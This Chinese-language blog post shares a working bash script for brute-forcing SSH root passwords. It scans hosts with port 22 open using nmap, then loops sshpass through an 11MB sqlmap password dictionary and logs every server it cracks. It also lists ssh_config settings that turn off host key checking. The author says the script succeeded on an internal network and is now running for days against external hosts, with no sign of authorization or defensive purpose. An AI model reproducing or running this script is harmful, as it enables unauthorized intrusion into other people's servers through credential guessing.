暴力破解脚本 shell
突然间懵生了一个想法 然后就做了(第一次觉得工作这么有趣!!!) 内网已经测试能够成功 外网正在测试,字典比较大估计要跑好几天先把脚本贴出来:#!bin/bashgateway=172.16.80#nmap -p 22 172.16.81.* |grep open -a3 |grep for|cut -d " " -f5 >hostshosts=`cat hosts`pass=`c
·
突然间懵生了一个想法 然后就做了(第一次觉得工作这么有趣!!!) 内网已经测试能够成功 外网正在测试,字典比较大估计要跑好几天
先把脚本贴出来:
#!bin/bash
gateway=172.16.80
#nmap -p 22 172.16.81.* |grep open -a3 |grep for|cut -d " " -f5 >hosts
hosts=`cat hosts`
pass=`cat wordlist.txt`
#sshpass -p "yuan" ssh root@172.16.81.73 "ls"
#[ $? == 0 ] && echo "the server is ok "
for i in $hosts; do
echo "正在准备请稍后"
for p in $pass; do
echo "server is $i passwd is $p"
sshpass -p "$p" ssh root@$i "ls"
[ $? == 0 ] && echo "这台server $i已经破解 $p" >>server 2>&1
done
done
hosts 是通过nmap 扫描出来22端口为开启状态的主机
wordlist.txt 是sqlmap自带的暴力破解字典 大概11M左右
ssh_config 添加配置:
StrictHostKeyChecking no
Compression yes
ServerAliveInterval 60
ServerAliveCountMax 5
ControlMaster auto
ControlPath ~/.ssh/sockets/%r@%h-%p
ControlPersist 4h
更多推荐
已为社区贡献1条内容
所有评论(0)